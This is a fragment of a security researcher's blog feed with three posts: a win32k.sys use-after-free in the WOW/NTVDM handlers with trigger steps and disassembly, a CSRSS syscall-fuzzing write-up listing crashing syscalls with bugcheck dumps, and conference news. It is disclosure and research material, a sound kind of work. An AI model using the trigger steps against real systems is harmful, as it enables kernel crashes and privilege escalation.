Kernel Stack</a>&#8221; (Pwnie Award Winner) or &#8220;<a href="http://seclists.org/fulldisclosure/2007/Apr/357"><span style="font-size: small;">EEYE: Windows VDM Zero Page Race Condition Privilege Escalation</span></a>&#8220;.</p>
<h2 style="text-align: justify;"><strong>The vulnerability</strong></h2>
<p style="text-align: justify;">Some basic information regarding internal structures used by the WOW-related win32k.sys system calls has already been described by Tarjei in his article. In short, GUI threads can call a &#8220;public&#8221; <strong>win32k!xxxRegisterUserHungAppHandlers</strong> routine (being a part of the <em>win32k!apfnSimpleCall</em> interface) either through the <span style="text-decoration: underline;">win32k!NtUserCallTwoParam</span> system call or <span style="text-decoration: underline;">user32!RegisterUserHungAppHandlers</span> &#8211; a convenient user-mode wrapper. The service is purposed to be used within the NTVDM.EXE process, a container for 16-bit DOS apps. It is primarily responsible for allocating a WOWPROCESSINFO kernel structure, assigning it to an internal <em>ppiCurrent-&gt;pwpi</em> field within PROCESSINFO (corresponding to the current process) and inserting into a linked list pointed to by a global <strong>win32k!gpwpiFirstWow</strong> symbol as shown on the following listing:</p>
<p><span id="more-1479"></span></p>
<pre class="brush: text; gutter: true">.text:BF9785DA                 push    &#039;pwsU&#039;          ; Tag
.text:BF9785DF                 push    28h             ; NumberOfBytes
.text:BF9785E1                 call    _Win32AllocPoolWithQuotaTagZInit@8
.text:BF9785E6                 mov     esi, eax
[...]
.text:BF97861F                 call    ds:__imp__PsGetCurrentProcessWin32Process@0
[...]
.text:BF97862E                 mov     [eax+PROCESSINFO.pwpi], esi
.text:BF978634                 mov     eax, _gpwpiFirstWow
.text:BF978639                 mov     [esi], eax
.text:BF97863B                 mov     _gpwpiFirstWow, esi</pre>
<div class="wp-caption aligncenter" style="width: 514px"><img class=" " src="http://j00ru.vexillium.org/blog/18_12_12/image1.png" alt="" width="504" height="393" /><p class="wp-caption-text">Relations between WOW structures and pointers after a single xxxRegisterUserHungAppHandlers call.</p></div>
<p style="text-align: justify;">As you can imagine, the code quality of the vulnerable routine wasn&#8217;t (perhaps still isn&#8217;t) exceptionally good; it assumed that a process would only call it once during its entire lifespan (the exact same root cause as with Tarjei&#8217;s bug), hence it wouldn&#8217;t verify whether a WOWPROCESSINFO had already been allocated before, but would simply overwrite the existing <em>ppiCurrent-&gt;pwpi</em> pointer and push &#8220;duplicate&#8221; entries onto the <em>gpwpiFirstWow</em> list, <em>in case xxxRegisterUserHungAppHandlers</em> was called more than one time.</p>
<div class="wp-caption aligncenter" style="width: 682px"><img src="http://j00ru.vexillium.org/blog/18_12_12/image2.png" alt="" width="672" height="504" /><p class="wp-caption-text">Relations between all WOW structures after calling xxxRegisterUserHungAppHandlers twice, and initializing TBD structures with NtUserInitTask.</p></div>
<p style="text-align: justify;">Further on, when the NTVDM.EXE process terminates and its internal structures are freed in <em>win32k!DestroyProcessInfo</em>, only the <em>ppiCurrent-&gt;pwpi</em> WOWPROCESSINFO structure is removed from the system-wide linked list, leaving all previous allocations untouched (effectively causing a memory leak):</p>
<pre class="brush: text; gutter: true">.text:BF8D8DE6                 mov     eax, offset _gpwpiFirstWow
.text:BF8D8DEB                 cmp     _gpwpiFirstWow, edx
.text:BF8D8DF1                 jz      short loc_BF8D8E05
.text:BF8D8DF3
.text:BF8D8DF3 loc_BF8D8DF3:                           ; CODE XREF: DestroyProcessInfo(x)+26D j
.text:BF8D8DF3                 mov     ecx, [eax]
.text:BF8D8DF5                 cmp     ecx, edi
.text:BF8D8DF7                 jz      short loc_BF8D8E01
.text:BF8D8DF9                 mov     eax, ecx
.text:BF8D8DFB                 cmp     [eax], edx
.text:BF8D8DFD                 jz      short loc_BF8D8E05
.text:BF8D8DFF                 jmp     short loc_BF8D8DF3
.text:BF8D8E01 ; ---------------------------------------------------------------------------
.text:BF8D8E01
.text:BF8D8E01 loc_BF8D8E01:                           ; CODE XREF: DestroyProcessInfo(x)+265 j
.text:BF8D8E01                 mov     ecx, [edi]
.text:BF8D8E03                 mov     [eax], ecx
.text:BF8D8E05
.text:BF8D8E05 loc_BF8D8E05:                           ; CODE XREF: DestroyProcessInfo(x)+25F j
.text:BF8D8E05                                         ; DestroyProcessInfo(x)+26B j
.text:BF8D8E05                 push    edx             ; Tag
.text:BF8D8E06                 push    edi             ; P
.text:BF8D8E07                 call    ebx ; ExFreePoolWithTag(x,x) ; ExFreePoolWithTag(x,x)
.text:BF8D8E09                 xor     edi, edi
.text:BF8D8E0B                 mov     [esi+0A4h], edi
.text:BF8D8E11                 jmp     short loc_BF8D8E15</pre>
<div class="wp-caption aligncenter" style="width: 682px"><img src="http://j00ru.vexillium.org/blog/18_12_12/image3.png" alt="" width="672" height="504" /><p class="wp-caption-text">Inconsistent thread pointer in the TDB structure upon terminating the offending VDM container process and freeing internal structures.</p></div>
<p style="text-align: justify;">The stale WOWPROCESSINFO structures in <strong>gpwpiFirstWow </strong>are still publicly accessible thanks to the <strong>win32k!NtUserPostThreadMessage</strong> system service, which is implemented in such a way that it lists all items in <span style="text-decoration: underline;">gpwpiFirstWow</span>, then for each of them iterates through their corresponding TDB structures (starting from WOWPROCESSINFO.ptdbHead), and if <em>ptdb-&gt;hTaskWow</em> is equal to the user-specified &#8220;id&#8221; parameter, the function takes <em>ptdb-&gt;pti</em> as the THREADINFO structure to operate on.</p>
<p style="text-align: justify;">Without going into much detail, the <em>ppiCurrent-&gt;pwpi-&gt;ptdbHead</em> field can be populated by <em>win32k!InsertTask</em>, called by <em>win32k!zzzInitTask</em>, called by <em>win32k!NtUserInitTask</em>. The overall list of steps required to trigger the vulnerability is as follows:</p>
<ol>
<li>Spawn an NTVDM.EXE subsystem by running a 16-bit application.</li>
<li>Inject code into NTVDM and execute it:
<ol>
<li>Call <em>win32k!xxxRegisterUserHungAppHandlers</em> to register a WOWPROCESSINFO structure used later for exploitation.</li>
<li>Call <em>win32k!NtuserInitTask</em> to populate <em>ppiCurrent-&gt;pwpi-&gt;ptdbHead</em> with a TDB structure referencing the current thread, and <em>hTaskWow</em> set to a custom value (e.g. 0&#215;1337)</li>
<li>Call <em>win32k!xxxRegisterUserHungAppHandlers</em> again to overwrite <em>ppiCurrent-&gt;pwpi</em> and insert a second item into <em>gpwpiFirstWow</em>.</li>
<li>Call <em>ExitProcess</em>, resulting in destroying current thread, and freeing the WOWPROCESSINFO structure allocated in step 2.3. (but not the one from 2.1.)</li>
</ol>
</li>
<li>Call <em>win32k!NtuserPostThreadMessage</em> with the &#8220;id&#8221; parameter set to 0&#215;1337, resulting in the routine using a PTHREADINFO pti address pointing at a freed structure describing the thread destroyed in step 2.1.</li>
</ol>
<p style="text-align: justify;">Practical exploitation of the vulnerability has proven to be non-trivial, but definitely feasible. Considering the nature of the flaw, it requires that the attacker fills the memory region previously allocated for the THREADINFO structure with controlled data, requiring a high degree of control over the kernel session pools&#8217; management and layout. Reproducing a system bugcheck and potentially developing a reliable exploit is left as an excercise for the reader :-) I hope you enjoyed the post, and Merry Christmas to everyone!</p>
]]></content:encoded>
			<wfw:commentRss>http://j00ru.vexillium.org/?feed=rss2&#038;p=1479</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Defeating Windows Driver Signature Enforcement #3: The Ultimate Encounter</title>
		<link>http://j00ru.vexillium.org/?p=1455</link>
		<comments>http://j00ru.vexillium.org/?p=1455#comments</comments>
		<pubDate>Mon, 10 Dec 2012 09:03:09 +0000</pubDate>
		<dc:creator>j00ru</dc:creator>
				<category><![CDATA[CSRSS]]></category>
		<category><![CDATA[Exploitation]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[OS Internals]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Ring0]]></category>
		<category><![CDATA[Ring3]]></category>
		<category><![CDATA[Undocumented API]]></category>
		<category><![CDATA[Windows 7]]></category>
		<category><![CDATA[Windows Vista]]></category>

		<guid isPermaLink="false">http://j00ru.vexillium.org/?p=1455</guid>
		<description><![CDATA[I hope you haven&#8217;t got bored with bypassing the Driver Signature Enforcement mechanism (present on all 64-bit Microsoft Windows operating systems since Vista) just yet &#8211; in either case, stay calm&#8230; this is going to be the last post of the series. After using multiple drivers shipped with the OS in the default configuration to [...]]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;"><img class="alignleft" style="margin-right: 10px;" src="http://j00ru.vexillium.org/blog/09_12_12/bsod.png" alt="" width="213" height="156" />I hope you haven&#8217;t got bored with bypassing the Driver Signature Enforcement mechanism (present on all 64-bit Microsoft Windows operating systems since Vista) just yet &#8211; in either case, stay calm&#8230; this is going to be the last post of the series. After using multiple drivers shipped with the OS in the default configuration to <a href="http://j00ru.vexillium.org/?p=1169">trigger Blue Screens of Death from user-mode</a>, and<a href="http://j00ru.vexillium.org/?p=1393"> implementing a complete bypass of the functionality</a> by using a design flaw in how the CSRSS subsystem interacts with the win32k.sys kernel module, I am going to present one final argument that the idea of preventing ring-3 applications with administrative privileges from causing bad things happen in kernel-mode is fundamentally flawed and would be never fully effective, unless a complete rewrite of the Windows kernel (including revisiting many low-level system assumptions) would be in order. Don&#8217;t keep it too seriously though &#8211; I am not claiming that the described Windows behavior has security implications of any kind &#8211; rather, it&#8217;s just a kernel curiosity illustrating how reliant the kernel is on certain assumptions that haven&#8217;t had a chance to be validated for many years.</p>
<p style="text-align: justify;">To provide some context, several years ago Alex Ionescu and omega_red from the woodmann.com reverse-engineering forums <a href="http://www.woodmann.com/forum/archive/index.php/t-10295.htmlc">discovered</a> that invoking certain graphical system calls (i.e. the ones handled by win32k.sys) from within one of a few system processes would result in an unhandled kernel exception, a system bugcheck and potentially an exploitable condition (the original crash was caused by a NULL Pointer Dereference). None of the system processes would ever call the affected system services in a way that would bring the system down, so the only way for an attacker to achieve the same effect would be to inject a malicious payload into one of the highly-privileged processes and execute it &#8211; an activity which clearly takes an Administrator account to succeed.  Alex got so intrigued by the post that he performed an in-depth investigation of this weird behavior and later presented the results of his work along with some other win32k.sys security-related findings on the BlackHat US 2008 conference in a presentation called &#8220;<a href="http://www.alex-ionescu.com/BH08-AlexIonescu.pdf">Pointers and Handles: A Story of Unchecked Assumptions in the Windows Kernel</a>&#8220;. In short, the graphical driver blindly dereferenced an internal pointer storing a reference to the caller&#8217;s desktop, but since some processes (e.g. CSRSS.EXE) were not assigned to any specific desktop, the kernel module would end up using a NULL pointer as a valid one: as straight-forward as it sounds.</p>
<p><span id="more-1455"></span></p>
<p style="text-align: justify;">What comes to mind first after reading through the slides is &#8220;if there is one win32k.sys syscall with an unchecked assumption like this, there are probably a bunch of others, too?&#8221;. There was no other way to find out but check myself, which I happened to do 2.5y ago, but the results have remained unpublished until today :) Let&#8217;s start with a very trivial idea: a simple system call fuzzer which when injected into the CSRSS process would indefinitely call completely random graphical services with random parameters. <strong>The source code of the one that I was using (Windows 7 64-bit only) can be found <a href="http://j00ru.vexillium.org/blog/09_12_12/csrss_win32k_fuzzer.zip">here</a> (csrss_win32k_fuzzer.zip, 5,63kB)</strong>. As it turned out after just a few minutes of running the fuzzer, the outcome greatly exceeded my expectations &#8211; I was able to easily reproduce almost <span style="text-decoration: underline;">twenty</span> different system crashes using just this very simple approach.</p>
<p style="text-align: justify;">Here&#8217;s a list of the system calls that I found vulnerable back in 2010; keep in mind that I was performing the tests on Windows 7 SP0, so some of them might have already been fixed (rather unlikely, though):</p>
<ul>
<li>win32k!NtUserActivateKeyboardLayout</li>
<li>win32k!NtUserChangeDisplaySettings</li>
<li>win32k!NtUserCreateWindowEx</li>
<li>win32k!NtUserDdeInitialize</li>
<li>win32k!NtUserFindWindowEx</li>
<li>win32k!NtUserGetDCEx</li>
<li>win32k!NtUserGetWindowDC</li>
<li>win32k!NtUserInvalidateRect</li>
<li>win32k!NtUserLoadKeyboardLayoutEx</li>
<li>win32k!NtUserMagControl</li>
<li>win32k!NtUserRedrawWindow</li>
<li>win32k!NtUserRemoveProp</li>
<li>win32k!NtUserSetCapture</li>
<li>win32k!NtUserSetProp</li>
<li>win32k!NtUserTrackMouseEvent</li>
<li>win32k!NtUserUnloadKeyboardLayout</li>
<li>win32k!NtUserValidateRect</li>
<li>win32k!NtUserWindowFromPoint</li>
</ul>
<p style="text-align: justify;">These were all routines that were dereferencing a pointer to an internal structure which hadn&#8217;t been initialized before due to the nature of the CSRSS process &#8211; all of them crashed on a NULL pointer dereference condition. Given the fact that the fuzzer chooses completely senseless parameters for the system calls, I suspect there there must be at least twice as many of them residing somewhere in the graphical driver. As I analyzed a few of them, I realized that most would be quite difficult to exploit in a reliable manner, and even when successfully exploited&#8230; well, it only converts administrative privileges in your system into ring-0 access. Still, I contacted MSRC about the cases, but they apparently haven&#8217;t received any attention yet as the crashes still reproduce. If you are curious, feel free to investigate any of them on your own.</p>
<p style="text-align: justify;">Below follow excerpts of a bunch of bugchecks triggered a few years ago that I found particularly interesting. Have fun!</p>
<h2 style="margin-bottom: 10px;">win32k!NtUserValidateRect</h2>
<pre class="brush: text; gutter: true">FAULTING_IP: 
win32k!xxxRedrawWindow+2e
fffff960`000b62ae 488b4108        mov     rax,qword ptr [rcx+8]

CONTEXT:  fffff880065c8170 -- (.cxr 0xfffff880065c8170)
rax=fffff900c01edc30 rbx=0000000000000000 rcx=0000000000000000
rdx=0000000000000000 rsi=0000000000000285 rdi=0000000000000000
rip=fffff960000b62ae rsp=fffff880065c8b50 rbp=fffff880065c8ca0
 r8=0000000000000000  r9=0000000000000285 r10=fffff9600013c9dc
r11=0000000000000000 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
win32k!xxxRedrawWindow+0x2e:
fffff960`000b62ae 488b4108        mov     rax,qword ptr [rcx+8] ds:002b:00000000`00000008=????????????????
Resetting default scope

DEFAULT_BUCKET_ID:  VISTA_DRIVER_FAULT

BUGCHECK_STR:  0x3B

PROCESS_NAME:  csrss.exe

CURRENT_IRQL:  2

LAST_CONTROL_TRANSFER:  from fffff9600013ca9e to fffff960000b62ae

STACK_TEXT:  
fffff880`065c8b50 fffff960`0013ca9e : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : win32k!xxxRedrawWindow+0x2e
fffff880`065c8bb0 fffff800`026991d3 : fffffa80`00af2660 00000000`00000000 00000000`00000000 fffffa80`00af2660 : win32k!NtUserValidateRect+0xc2
fffff880`065c8c20 000007fe`f8002122 : 000007fe`f800121f 00000000`000b000a 000007fe`f80010d8 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x13
00000000`0225fa88 000007fe`f800121f : 00000000`000b000a 000007fe`f80010d8 00000000`00000000 00000000`77388fb4 : fuzz+0x2122
00000000`0225fa90 00000000`000b000a : 000007fe`f80010d8 00000000`00000000 00000000`77388fb4 00000000`00000000 : fuzz+0x121f
00000000`0225fa98 000007fe`f80010d8 : 00000000`00000000 00000000`77388fb4 00000000`00000000 00000000`17a52b11 : 0xb000a
00000000`0225faa0 00000000`00000000 : 00000000`77388fb4 00000000`00000000 00000000`17a52b11 00000000`17a52b73 : fuzz+0x10d8</pre>
<h2 style="margin-bottom: 10px;">win32k!NtUserSetCapture</h2>
<pre class="brush: text; gutter: true">FAULTING_IP: 
win32k!xxxCapture+e7
fffff960`0013a14b 8b4828          mov     ecx,dword ptr [rax+28h]

CONTEXT:  fffff88006d7b100 -- (.cxr 0xfffff88006d7b100)
rax=0000000000000000 rbx=0000000000000000 rcx=fffff900c1a0a010
rdx=0000000000000000 rsi=0000000000000002 rdi=0000000000000000
rip=fffff9600013a14b rsp=fffff88006d7bae0 rbp=fffff900c01a93f0
 r8=0000000000000002  r9=0000000000000c00 r10=fffff960000eb818
r11=fffff900c1a0a010 r12=fffff900c1a0a010 r13=0000000000000000
r14=0000000000000001 r15=0000000000000000
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010286
win32k!xxxCapture+0xe7:
fffff960`0013a14b 8b4828          mov     ecx,dword ptr [rax+28h] ds:002b:00000000`00000028=????????
Resetting default scope

DEFAULT_BUCKET_ID:  VISTA_DRIVER_FAULT

BUGCHECK_STR:  0x3B

PROCESS_NAME:  csrss.exe

CURRENT_IRQL:  2

LAST_CONTROL_TRANSFER:  from fffff96000139fa3 to fffff9600013a14b

STACK_TEXT:  
fffff880`06d7bae0 fffff960`00139fa3 : 00000000`00000000 fffff880`06d7bca0 fffff880`06d7bca0 00000000`00000000 : win32k!xxxCapture+0xe7
fffff880`06d7bba0 fffff960`000eb890 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : win32k!xxxSetCapture+0x5f
fffff880`06d7bbd0 fffff800`026c81d3 : fffffa80`0218a2b0 00000000`7b78c0cb 00000000`00000000 00000000`00000000 : win32k!NtUserSetCapture+0x78
fffff880`06d7bc20 000007fe`f88c2122 : 000007fe`f88c121f 00000000`000b000a 000007fe`f88c10d8 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x13
00000000`0216fb98 000007fe`f88c121f : 00000000`000b000a 000007fe`f88c10d8 00000000`00000000 00000000`777a8fb4 : fuzz+0x2122
00000000`0216fba0 00000000`000b000a : 000007fe`f88c10d8 00000000`00000000 00000000`777a8fb4 00000000`7c0e37e1 : fuzz+0x121f
00000000`0216fba8 000007fe`f88c10d8 : 00000000`00000000 00000000`777a8fb4 00000000`7c0e37e1 00000000`00000000 : 0xb000a
00000000`0216fbb0 00000000`00000000 : 00000000`777a8fb4 00000000`7c0e37e1 00000000`00000000 00000000`7c0e3884 : fuzz+0x10d8</pre>
<h2 style="margin-bottom: 10px;">win32k!NtUserFindWindowEx</h2>
<pre class="brush: text; gutter: true">FAULTING_IP: 
win32k!FindWindowEx+b7
fffff960`001f78d7 488b4f60        mov     rcx,qword ptr [rdi+60h]

CONTEXT:  fffff880068e00e0 -- (.cxr 0xfffff880068e00e0)
rax=fffff960003ce600 rbx=0000000000000000 rcx=0000000000000000
rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000000
rip=fffff960001f78d7 rsp=fffff880068e0ac0 rbp=fffff880068e0ca0
 r8=0000000000000000  r9=0000000000000000 r10=0000000000000002
r11=0000000000000000 r12=0000000000000000 r13=00000000021df880
r14=0000000000000001 r15=0000000000000001
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
win32k!FindWindowEx+0xb7:
fffff960`001f78d7 488b4f60        mov     rcx,qword ptr [rdi+60h] ds:002b:00000000`00000060=????????????????
Resetting default scope

DEFAULT_BUCKET_ID:  VISTA_DRIVER_FAULT

BUGCHECK_STR:  0x3B

PROCESS_NAME:  csrss.exe

CURRENT_IRQL:  2

LAST_CONTROL_TRANSFER:  from fffff960001cfbbf to fffff960001f78d7

STACK_TEXT:  
fffff880`068e0ac0 fffff960`001cfbbf : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : win32k!FindWindowEx+0xb7
fffff880`068e0b30 fffff800`026861d3 : fffffa80`00ae0b60 00000000`021df848 fffff880`068e0bc8 000007fe`fb5812a0 : win32k!NtUserFindWindowEx+0x167
fffff880`068e0bb0 00000000`7763020a : 00000000`77648a89 00000000`021df890 00000000`00000000 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x13
00000000`021df828 00000000`77648a89 : 00000000`021df890 00000000`00000000 00000000`00000000 00000000`00000000 : USER32!NtUserFindWindowEx+0xa
00000000`021df830 00000000`776489f8 : 00000000`001ae320 00000000`021dfe28 00000000`00000000 000007fe`fb5817c2 : USER32!InternalFindWindowExA+0x96
00000000`021df8b0 000007fe`fb58132f : 000007fe`fb5810c8 00000000`00000000 00000000`021df858 00000000`021df978 : USER32!FindWindowA+0x18
00000000`021df8f0 000007fe`fb5810c8 : 00000000`00000000 00000000`021df858 00000000`021df978 000007fe`fb580001 : fuzz+0x132f
00000000`021df8f8 00000000`00000000 : 00000000`021df858 00000000`021df978 000007fe`fb580001 000007fe`fb5817c2 : fuzz+0x10c8</pre>
<h2 style="margin-bottom: 10px;">win32k!NtUserDdeInitialize</h2>
<pre class="brush: text; gutter: true">FAULTING_IP: 
win32k!HMFreeObject+f5
fffff960`00159b19 488b8f80000000  mov     rcx,qword ptr [rdi+80h]

CONTEXT:  fffff8800264cee0 -- (.cxr 0xfffff8800264cee0)
rax=fffff900c0084ce0 rbx=fffff900c0403870 rcx=fffff960003381bc
rdx=0000000000000000 rsi=fffff900c019e120 rdi=0000000000000000
rip=fffff96000159b19 rsp=fffff8800264d8c0 rbp=fffff900c019e139
 r8=0000000000000000  r9=0000000000000000 r10=00000000c4000000
r11=fffffa80027efb60 r12=0000000000140259 r13=0000000000000001
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
win32k!HMFreeObject+0xf5:
fffff960`00159b19 488b8f80000000  mov     rcx,qword ptr [rdi+80h] ds:002b:00000000`00000080=????????????????
Resetting default scope

DEFAULT_BUCKET_ID:  VISTA_DRIVER_FAULT

BUGCHECK_STR:  0x3B

PROCESS_NAME:  csrss.exe

CURRENT_IRQL:  2

LAST_CONTROL_TRANSFER:  from fffff9600015f252 to fffff96000159b19

STACK_TEXT:  
fffff880`0264d8c0 fffff960`0015f252 : 00000000`00000000 fffff900`c019e178 00000000`00000000 fffff900`c019e120 : win32k!HMFreeObject+0xf5
fffff880`0264d900 fffff960`0015fa20 : 00000000`00000000 fffff900`c019e120 fffff900`c1a95010 00000000`00000000 : win32k!xxxFreeWindow+0x1332
fffff880`0264da00 fffff960`00196276 : fffff900`00000000 fffff900`c2264350 fffff880`0264dca0 fffff900`c2264350 : win32k!xxxDestroyWindow+0x6e0
fffff880`0264dab0 fffff960`00167336 : 00000000`00000000 fffff880`0264dca0 fffff900`c2264350 00000000`00000000 : win32k!xxxDestroyThreadDDEObject+0xc2
fffff880`0264dae0 fffff800`026e41d3 : fffffa80`027efb60 00000000`022ff828 fffff880`0264dbc8 00000000`00000000 : win32k!NtUserDdeInitialize+0x1d6
fffff880`0264dbb0 000007fe`f2e42122 : 000007fe`f2e4121f 00000000`000b000a 000007fe`f2e410d8 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x13
00000000`022ff808 000007fe`f2e4121f : 00000000`000b000a 000007fe`f2e410d8 00000000`00000000 00000000`774a8fb4 : fuzz+0x2122
00000000`022ff810 00000000`000b000a : 000007fe`f2e410d8 00000000`00000000 00000000`774a8fb4 00000000`5cc008b0 : fuzz+0x121f
00000000`022ff818 000007fe`f2e410d8 : 00000000`00000000 00000000`774a8fb4 00000000`5cc008b0 00000000`00000000 : 0xb000a
00000000`022ff820 00000000`00000000 : 00000000`774a8fb4 00000000`5cc008b0 00000000`00000000 00000000`5cc00976 : fuzz+0x10d8</pre>
<h2 style="text-align: justify;">win32k!NtUserCreateWindowEx</h2>
<pre class="brush: text; gutter: true">FAULTING_IP: 
win32k!InternalGetRealClientRect+f
fffff960`0009d0e3 0fb74142        movzx   eax,word ptr [rcx+42h]

CONTEXT:  fffff88002a8cd70 -- (.cxr 0xfffff88002a8cd70)
rax=0000000000000000 rbx=0000000080000000 rcx=0000000000000000
rdx=fffff88002a8d7b0 rsi=0000000000000000 rdi=0000000000000000
rip=fffff9600009d0e3 rsp=fffff88002a8d750 rbp=fffff88002a8d888
 r8=0000000000000002  r9=fffff900c05824b0 r10=0000000000000000
r11=0000000000000100 r12=fffff900c21ed250 r13=fffff900c05824b0
r14=fffff900c05824b0 r15=0000000000000000
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010286
win32k!InternalGetRealClientRect+0xf:
fffff960`0009d0e3 0fb74142        movzx   eax,word ptr [rcx+42h] ds:002b:00000000`00000042=????
Resetting default scope

DEFAULT_BUCKET_ID:  VISTA_DRIVER_FAULT

BUGCHECK_STR:  0x3B

PROCESS_NAME:  csrss.exe

CURRENT_IRQL:  2

LAST_CONTROL_TRANSFER:  from fffff9600009cef6 to fffff9600009d0e3

STACK_TEXT:  
fffff880`02a8d750 fffff960`0009cef6 : 00000000`80000000 00000000`00000000 fffff880`0000002c 00000000`00000002 : win32k!InternalGetRealClientRect+0xf
fffff880`02a8d780 fffff960`000bced8 : 00000000`80000000 fffff880`02a8dca0 00000000`00000000 00000000`00000000 : win32k!SetTiledRect+0x5a
fffff880`02a8d7e0 fffff960`000bff98 : 00000000`00000000 00000000`00000000 fffff880`02a8dae8 00000000`00000000 : win32k!xxxCreateWindowEx+0x18e4
fffff880`02a8da50 fffff800`026921d3 : fffffa80`02584b60 fffff880`02a8dad0 fffff880`02a8dae8 00000000`00000000 : win32k!NtUserCreateWindowEx+0x554
fffff880`02a8dbb0 00000000`76d1255a : 00000000`76d129d7 00000000`0224f308 00000000`00000000 00000000`0224f308 : nt!KiSystemServiceCopyEnd+0x13
00000000`0224eed8 00000000`76d129d7 : 00000000`0224f308 00000000`00000000 00000000`0224f308 00000000`0224f308 : USER32!NtUserCreateWindowEx+0xa
00000000`0224eee0 00000000`76d12718 : 00000000`00000018 00000000`80000000 00000000`00000000 00000000`00000000 : USER32!VerNtUserCreateWindowEx+0x27c
00000000`0224f250 00000000`76d0c9a0 : 00000000`00000000 00000000`00413f90 00000000`0224fa28 00000000`00000000 : USER32!CreateWindowEx+0x404
00000000`0224f3a0 000007fe`f44e13fa : 00000000`0224f480 00000000`76f725a8 000007fe`00000000 00000000`00001112 : USER32!CreateWindowExA+0x70
00000000`0224f420 00000000`0224f480 : 00000000`76f725a8 000007fe`00000000 00000000`00001112 000007fe`00000000 : fuzz+0x13fa
00000000`0224f428 00000000`76f725a8 : 000007fe`00000000 00000000`00001112 000007fe`00000000 000007fe`00000000 : 0x224f480
00000000`0224f430 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlpFreeHeap+0x528</pre>
]]></content:encoded>
			<wfw:commentRss>http://j00ru.vexillium.org/?feed=rss2&#038;p=1455</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ZeroNights slides, Hack In The Box Magazine #9 and other news</title>
		<link>http://j00ru.vexillium.org/?p=1441</link>
		<comments>http://j00ru.vexillium.org/?p=1441#comments</comments>
		<pubDate>Sat, 01 Dec 2012 11:49:09 +0000</pubDate>
		<dc:creator>j00ru</dc:creator>
				<category><![CDATA[Conferences]]></category>
		<category><![CDATA[Exploitation]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[OS Internals]]></category>
		<category><![CDATA[Papers]]></category>
		<category><![CDATA[Ring0]]></category>
		<category><![CDATA[Undocumented API]]></category>
		<category><![CDATA[Windows 7]]></category>
		<category><![CDATA[Windows Vista]]></category>
		<category><![CDATA[Windows XP]]></category>

		<guid isPermaLink="false">http://j00ru.vexillium.org/?p=1441</guid>
		<description><![CDATA[First of all, it has been reported to me that the system call list for Microsoft Windows Vista SP0 available at http://j00ru.vexillium.org/ntapi was wrong, containing syscall numbers for beta2 version of the system instead of the actual RTM Service Pack 0. The issue has already been resolved &#8211; apologies for any confusion this might have [...]]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;"><img class="alignleft" style="margin-right: 10px;" title="ZeroNights 2012" src="http://j00ru.vexillium.org/blog/01_12_12/zn.png" alt="" width="136" height="222" /><img class="alignleft" style="margin-right: 10px;" title="Hack In The Box Magazine #9 cover" src="http://j00ru.vexillium.org/blog/01_12_12/cover-issue9.gif" alt="" width="157" height="222" />First of all, it has been reported to me that the system call list for Microsoft Windows Vista SP0 available at <a href="http://j00ru.vexillium.org/ntapi">http://j00ru.vexillium.org/ntapi</a> was wrong, containing syscall numbers for beta2 version of the system instead of the actual RTM Service Pack 0. The issue has already been resolved &#8211; apologies for any confusion this might have caused.</p>
<p style="text-align: justify;">Secondly, I have just recently had a presentation on ZeroNights 2012 in Moscow regarding <em>reference counting</em> and how its implementations found in the Windows kernel would often lead to exploitable <em></em>local<em> elevation of privileges</em> conditions. The slides are available for over a week now &#8211; if you haven&#8217;t checked them out yet, be sure to take a look: <strong>&#8220;<a href="http://j00ru.vexillium.org/dump/zn_slides.pdf">Windows Kernel Reference Count Vulnerabilities &#8211; Case Study</a>&#8220;</strong>. The conference overall was really good &#8211; I enjoyed several interesting, (non-)technical talks by <a href="http://twitter.com/thegrugq">@thegrugq</a> (&#8220;OPSEC: Because Jail is for wuftpd&#8221;), <a href="http://twitter.com/NTarakanov">@NTarakanov</a> (&#8220;The Art of Binary Diffing or how to find 0-dayz for free&#8221;), <a href="http://twitter.com/d_olex">@d_olex</a> (&#8220;Applied anti-forensics: rootkits, kernel vulnerabilities and then some&#8221;), <a href="http://twitter.com/Agarri_FR">@Agarri_FR</a> (&#8220;That&#8217;s why I love XML hacking!&#8221;) and a few more. Additionally, the organizers really seemed to be trying their best to ensure painless and enjoyable trip and stay in Russia. One major drawback of the event is that even though it&#8217;s advertised to be an &#8220;international&#8221; conference, most of the talks were given in Russian (sometimes with live English translation), and so was the audience &#8211; I&#8217;m not quite sure how many foreign people (apart from the speakers) you could meet there &#8211; probably not too many :) Still, it&#8217;s a great idea to visit the conference and meet some of the leet Russian hackers that you wouldn&#8217;t have a chance to speak with, otherwise.</p>
